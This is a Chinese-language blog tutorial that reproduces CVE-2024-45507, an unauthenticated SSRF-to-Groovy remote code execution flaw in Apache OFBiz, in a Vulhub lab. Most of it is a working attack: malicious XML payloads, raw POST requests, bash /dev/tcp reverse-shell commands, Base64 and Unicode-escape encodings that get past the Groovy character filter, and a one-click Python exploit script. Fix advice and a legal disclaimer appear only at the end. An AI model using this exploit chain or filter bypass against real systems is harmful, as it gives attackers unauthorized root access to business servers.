【GetShell】Apache OFBiz SSRF 和远程代码执行漏洞(CVE-2024-45507)

【GetShell】Apache OFBiz SSRF 和远程代码执行漏洞(CVE-2024-45507)

演示视频

如果觉得看文字不够直观,完整的操作演示在这里:

快递不安检直接裸奔!OFBiz 零登录远程拿下服务器

一、亮点

一个 POST 请求,不需要账号密码,就能让服务器加载你指定的远程文件并执行里面的代码——CVE-2024-45507 就是这么直接。Apache OFBiz 18.12.15 及之前所有版本都受影响。

但我第一次复现的时候,在反弹 Shell 这一步卡了两天。id 命令明明能执行,把命令换成 bash -i >& /dev/tcp/IP/PORT 0>&1 之后,nc 监听一片空白——什么都没收到。排查下来发现,问题出在 Groovy 沙箱对特殊字符的过滤上。这篇文章会把我从踩坑到绕过的完整过程拆给你看,包括每一步为什么失败、怎么分析的、最终怎么用 UTF-16 编码绕过拿到 Shell。

二、漏洞背景

Apache OFBiz 是 Apache 基金会下面的开源 ERP 系统,采购、销售、库存、财务、制造都包在里面。国内银行、电商、制造业有不少在用——知道它的人不多,但它干的活儿还挺关键的。

漏洞出在 OFBiz 的 WebTools 模块里。有个接口叫 /webtools/control/forgotPassword/StatsSinceStart,它接收一个参数 statsDecoratorLocation,本意是让管理员指定一个统计数据的装饰器文件路径。问题是——开发团队忘了对这个参数做 URL 白名单校验。你传什么它就加载什么,本地的、远程的,照单全收。

光是这样也就算了,顶多是个 SSRF。但 OFBiz 解析 XML 的时候,支持在 XML 里内嵌 Groovy 脚本——Groovy 是 JVM 上的一门动态语言,能直接调用 Java 类库,包括 Runtime.exec()。SSRF 负责把恶意 XML 文件"运"进来,Groovy 负责把里面的代码"拆开执行"——两个机制单独存在都没什么,凑在一起就出大事了。

这就好比你小区门卫不查外卖员的身份,随便哪个人穿个外卖马甲就能进。然后你家里还有个不锁的保险箱,保险箱里装着服务器的 root 权限——外卖员进小区是前一道口子,保险箱没锁是后一道口子,两个问题串在一起,家底儿就全曝光了。

漏洞影响 18.12.15 及之前所有版本,官方在 18.12.16 中修了。由于这个接口不需要登录就能访问,漏洞公开后立刻被大规模扫描。

三、环境搭建

Vulhub 已经集成好了这个漏洞环境,一行命令:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/ofbiz/CVE-2024-45507
docker compose up -d

启动后浏览器访问 https://你的服务器IP:8443/accounting,看到 OFBiz 登录页面说明靶场就绪。

在这里插入图片描述

两个细节别搞错:第一,协议是 https 不是 http;第二,端口是 8443 不是 8080。很多人在这两个地方反复踩坑,上去就 http://IP:8080,浏览器转半天打不开,排查一圈才发现压根协议和端口都不对。

四、漏洞复现

复现分三步:构造恶意 XML → 托管文件 → 发送请求触发。我们先从基础命令执行开始,确认漏洞存在,再往反弹 Shell 走。

4.1 创建恶意 XML 文件

在攻击机上创建 payload.xml

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">

    <screen name="StatsDecorator">
        <section>
            <actions>
                <set value="${groovy:'touch /tmp/success'.execute();}"/>
            </actions>
        </section>
    </screen>
</screens>

关键在 <set value=.../> 这一行。groovy: 前缀告诉 OFBiz 的 XML 解析器——引号里不是普通字符串,是 Groovy 代码,拿去执行。'touch /tmp/success'.execute() 这行 Groovy 代码的意思是:在 Shell 里跑 touch /tmp/success,也就是在 /tmp 目录下创建一个叫 success 的空文件。文件创建成功,说明命令执行通道是通的。

4.2 启动 HTTP 服务托管 XML

在攻击机上起一个 HTTP 服务,让目标服务器能拉到恶意文件:

python3 -m http.server 25002

在这里插入图片描述

注意这个终端窗口别关,关了服务就断了。

4.3 发送请求触发漏洞

向目标发送 POST 请求,通过 statsDecoratorLocation 参数把恶意 XML 的 URL 传过去:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 目标IP:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

statsDecoratorLocation=http://攻击IP:25002/payload.xml

推荐用 Yakit 的 MITM 劫持功能——先访问目标 URL 触发拦截,把 GET 改成 POST,把上面的数据包内容贴进去就行。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

发送后,进目标容器验证命令是否执行:

docker ps -a
docker exec -it <容器ID> /bin/bash
ls /tmp/success

输出 /tmp/success 说明命令执行成功,漏洞复现完成。

在这里插入图片描述

五、GetShell:拿下服务器

能执行 touch /tmp/success 只是证明漏洞存在。真正有价值的是利用这个漏洞拿到服务器的 Shell 控制权。这一节是全文核心——网上绝大多数教程止步于 id 命令,我把从失败到成功的每一步拆给你看。

5.1 第一次尝试:直接写反弹 Shell 命令(失败)

最直观的想法——把 payload.xml 里的命令直接换成反弹 Shell:

bash -i >& /dev/tcp/攻击IP/25003 0>&1

修改后的 payload.xml:

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">

    <screen name="StatsDecorator">
        <section>
            <actions>
                <set value="${groovy:'bash -i >& /dev/tcp/攻击IP/25003 0>&1'.execute();}"/>
            </actions>
        </section>
    </screen>
</screens>

攻击端提前开监听:

nc -lvp 25003

发送请求后——监听端纹丝不动,什么也没收到。

我当时的第一反应是"是不是监听端口写错了?"来回检查了好几遍 IP 和端口,确认无误。然后怀疑是不是反弹命令本身有问题,在本地试了一遍——命令没问题。最后翻容器日志才发现:OFBiz 的 Groovy 引擎在解析表达式时,对 &>/ 这些特殊字符做了过滤或转义,命令在到达 Shell 之前就被拦下来了。

换句话说,touch /tmp/success 能执行是因为没有特殊字符。反弹 Shell 命令里全是 &>/,在 Groovy 解析阶段就被截断了——Shell 根本没见过这条命令。

5.2 第二次尝试:Base64 编码绕过(部分成功,不稳定)

既然特殊字符是罪魁祸首,那就把命令编码,让 Groovy 解析的时候看不到这些字符。

先对反弹 Shell 命令做 Base64 编码:

echo -n "bash -i >& /dev/tcp/攻击IP/25003 0>&1" | base64

编码结果类似 YmFzaCAtaSA+JiAvZGV2L3RjcC8...。然后用 bash -c 配合管道解码执行:

bash -c {echo,<Base64编码串>}|{base64,-d}|{bash,-i}

这里解释一下这个管道结构的含义——第一步 {echo,...} 是把 Base64 字符串输出,第二步 {base64,-d} 是解码还原成原始命令,第三步 {bash,-i} 是把解码后的命令交给 bash 以交互模式执行。三个步骤用管道符 | 串起来,数据从左流到右。

把它放进 payload.xml:

<set value="${groovy:'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();}"/>

结果:监听端偶尔能收到连接,但极不稳定——有时连上了,有时杳无音信。同样的请求发十次,大概能成个两三次。

排查发现:虽然 Base64 编码解决了 >&/dev/tcp 的问题,但 {echo,...}|{base64,-d}|{bash,-i} 这个结构里仍然有 {}| 这些特殊字符。OFBiz 的 Groovy 沙箱对它们的处理时好时坏——同样的字符有时放过有时拦截,说明沙箱的过滤逻辑本身就不一致。这条路能走,但不靠谱。

5.3 第三次尝试:UTF-16 编码(成功)

需要一个能彻底消灭所有特殊字符的方案。UTF-16 编码(Unicode 转义序列)正好满足——把每个字符转成 \uXXXX 格式的纯文本,字母、数字、符号、空格,一视同仁地变成十六进制转义序列。Groovy 引擎在解析字符串时会自动把这些 \uXXXX 还原为原始字符然后执行。

编码过程,分步拆解:

第一步,把 Base64 编码后的命令封装成 bash -c 格式(跟 5.2 一样):

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ==}|{base64,-d}|{bash,-i}

第二步,把这条命令逐字符转成 Unicode 转义序列。规则:每个字符取它的 Unicode 码点(十进制),转成 4 位十六进制,前面加 \u

举个例子:字符 b 的码点是 98,十六进制是 0062,所以写成 \u0062。字符 a\u0061。空格(码点 32)→ \u0020{(码点 123)→ \u007B|(码点 124)→ \u007C

你可以用在线 Unicode 编码工具完成这一步——把命令贴进去,选"Unicode 转义序列"输出格式。也可以用 Python 一行搞定:

cmd = "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ==}|{base64,-d}|{bash,-i}"
print(''.join(f'\\u{ord(c):04x}' for c in cmd))

编码结果看起来就是一大串 \uXXXX

\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0077\u004D\u0053\u0034\u0030\u004D\u0079\u0034\u0079\u004D\u0054\u0049\u0075\u004E\u006A\u0067\u0076\u004D\u006A\u0055\u0077\u004D\u0044\u004D\u0067\u004D\u0044\u0034\u006D\u004D\u0051\u003D\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D

最终 payload.xml:

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">

    <screen name="StatsDecorator">
        <section>
            <actions>
                <set value="${groovy:'\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0077\u004D\u0053\u0034\u0030\u004D\u0079\u0034\u0079\u004D\u0054\u0049\u0075\u004E\u006A\u0067\u0076\u004D\u006A\u0055\u0077\u004D\u0044\u004D\u0067\u004D\u0044\u0034\u006D\u004D\u0051\u003D\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D'.execute();}"/>
            </actions>
        </section>
    </screen>
</screens>

注意:UTF-16 编码字符串前后必须有单引号,execute() 方法调用不能漏。

5.4 开启监听并触发

攻击端启动 nc 监听:

nc -lvp 25003

在这里插入图片描述

确保 HTTP 服务还在跑着(托管了更新后的 payload.xml),然后重新发送 POST 请求:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 目标IP:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

statsDecoratorLocation=http://攻击IP:25002/payload.xml

在这里插入图片描述

5.5 验证 Shell

回到监听终端,看到连接成功提示后,跑几条命令确认控制权:

uname -a
whoami
ls /

在这里插入图片描述

能正常输出系统信息和目录列表,root 权限——服务器已经在你的控制之下了。从 SSRF 到反弹 Shell,全链路走通。

回过头看,这个漏洞的利用链可以总结为三层递进:SSRF 负责把恶意文件送到服务器门口 → Groovy 脚本引擎 负责把文件里的代码拆开执行 → UTF-16 编码 负责绕过沙箱对特殊字符的过滤。三层缺一不可,每一层解决一个问题,组合起来才完成了整条攻击链。

六、踩坑与避坑

坑1:直接反弹 Shell——特殊字符被过滤

本来以为把 touch /tmp/success 直接换成 bash -i >& /dev/tcp/IP/PORT 0>&1 就能弹回来,结果 nc 监听一片空白。排查了好一会儿,翻容器日志才发现——Groovy 引擎在执行前对 &>/ 这些字符做了过滤,命令到不了 Shell 层就没了。

问题根因是两层解析之间的冲突:Groovy 表达式的字符串解析阶段就把特殊字符拦截了,后续 Shell 层根本没见过它们。解决方案就是 5.3 节的 UTF-16 编码——把所有字符统一转成 \uXXXX 格式,Groovy 解析时看到的是纯文本,还原成原始命令时已经过了过滤环节。

就这么简单?对,知道了就这么简单,不知道能卡你两天。

坑2:SSRF 请求发出去了,服务器不回连

发送 POST 请求后,目标服务器没有任何回连迹象——我在攻击端的 HTTP 服务日志里看不到任何 GET 请求。排查了一圈才发现问题不在目标,在攻击端自己的安全组/防火墙——25002 端口的入站规则没开。

很多人习惯性地只检查目标服务器的防火墙,忘了攻击端也要放行入站流量。毕竟 SSRF 的本质是目标服务器主动连接攻击端,对攻击端来说这是入站连接,安全组必须放行。

解决方案:

# Linux
iptables -A INPUT -p tcp --dport 25002 -j ACCEPT

# 或者直接在云控制台的安全组里加一条入站规则,放行 TCP 25002

坑3:UTF-16 编码后仍然失败——漏掉了空格或换行

写脚本生成编码串的时候,如果不小心在原始命令前后多留了空格或换行,编码结果就会多出 \u0020\u000a,导致 bash 解析命令时把多余字符当参数处理,反弹失败。

解决方案也很简单——编码前先确认命令字符串是干净的:

cmd = "bash -c {echo,...}|{base64,-d}|{bash,-i}"
print(repr(cmd))  # 检查前后有没有多余空格或换行

另外注意 execute() 方法调用后面必须跟对括号,写成 execute() 而不是 execute。少一对括号,Groovy 不会报错但也不会执行,排查起来很迷惑——命令看着没问题,就是不生效。

七、一键利用脚本

每次手动发包太慢,我把编码、托管、发送三步整合成一个 Python 脚本。改好 ATTACKER_IPTARGET_IPREVERSE_PORT 三个变量,直接跑就行。

#!/usr/bin/env python3
import subprocess
import base64
import sys

ATTACKER_IP = "192.168.1.100"      # 你的攻击端 IP
TARGET_IP = "192.168.1.200"        # 目标服务器 IP
HTTP_PORT = 25002                   # HTTP 服务端口(托管 XML)
REVERSE_PORT = 25003                # 反弹 Shell 端口

def to_unicode_escape(s):
    """将字符串逐字符转为 Unicode 转义序列"""
    return ''.join(f'\\u{ord(c):04x}' for c in s)

# 构造反弹命令 → Base64 → bash -c 封装 → UTF-16 编码
rev_shell = f"bash -i >& /dev/tcp/{ATTACKER_IP}/{REVERSE_PORT} 0>&1"
b64_cmd = base64.b64encode(rev_shell.encode()).decode()
full_cmd = f"bash -c {{echo,{b64_cmd}}}|{{base64,-d}}|{{bash,-i}}"
unicode_cmd = to_unicode_escape(full_cmd)

payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
    <screen name="StatsDecorator">
        <section>
            <actions>
                <set value="${{groovy:'{unicode_cmd}'.execute();}}"/>
            </actions>
        </section>
    </screen>
</screens>'''

with open("payload.xml", "w") as f:
    f.write(payload)
print("[+] payload.xml 已生成")

subprocess.Popen([sys.executable, "-m", "http.server", str(HTTP_PORT)],
                 stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print(f"[+] HTTP 服务已启动: http://{ATTACKER_IP}:{HTTP_PORT}")

import requests
import urllib3
urllib3.disable_warnings()

target_url = f"https://{TARGET_IP}:8443/webtools/control/forgotPassword/StatsSinceStart"
data = {"statsDecoratorLocation": f"http://{ATTACKER_IP}:{HTTP_PORT}/payload.xml"}

print(f"[+] 发送 SSRF 请求...")
r = requests.post(target_url, data=data, verify=False, timeout=10)
print(f"[+] 响应状态码: {r.status_code}")
print(f"[*] 请在另一终端执行: nc -lvp {REVERSE_PORT}")

用法:

# 终端1:先开监听
nc -lvp 25003

# 终端2:运行脚本
python3 exploit.py

脚本跑完会自动完成 XML 生成、HTTP 托管、SSRF 请求三步。回到终端1,等着 Shell 弹回来。

八、修复建议

  1. 升级版本:将 Apache OFBiz 升级到 18.12.16 或更高版本,这是最彻底的修复方式
  2. 接口加认证:对 /webtools/control/forgotPassword/StatsSinceStart 接口增加身份认证,禁止未登录用户访问
  3. URL 白名单:对 statsDecoratorLocation 参数实施严格的 URL 白名单,仅允许加载本地或受信路径下的文件
  4. 禁用外部 XML 加载:配置 XML 解析器禁止加载外部实体和远程资源,切断 SSRF 攻击链
  5. Groovy 沙箱加固:在生产环境禁用 Groovy 脚本的动态执行,或对脚本内容实施严格的静态审查

九、写在最后

这个漏洞的本质是两个看似无害的机制被串了起来——SSRF 负责"送货",Groovy 负责"拆包"。单独看哪一边都觉得"问题不大",但组合在一起就是高危 RCE。开发时如果只关注单点安全而忽略了组件之间的交互面,漏洞就会从这些夹缝里钻出来。

漏洞的利用思路跟专栏里之前写过的 Apache HugeGraph CVE-2024-27348 有相似之处——都是应用内置了强大的脚本执行能力,但对输入的校验做得不够。如果你对这种"脚本引擎降级攻击"的模式感兴趣,可以翻翻那篇。

如果你是第一次做漏洞复现,建议先完整跟做一遍,再试着改命令、换端口,慢慢就摸到规律了。

复现过程中有问题直接评论区留言,我看到了会回。

安全声明:本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

光跃Eason

坚持下去,谢谢你的鼓励!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值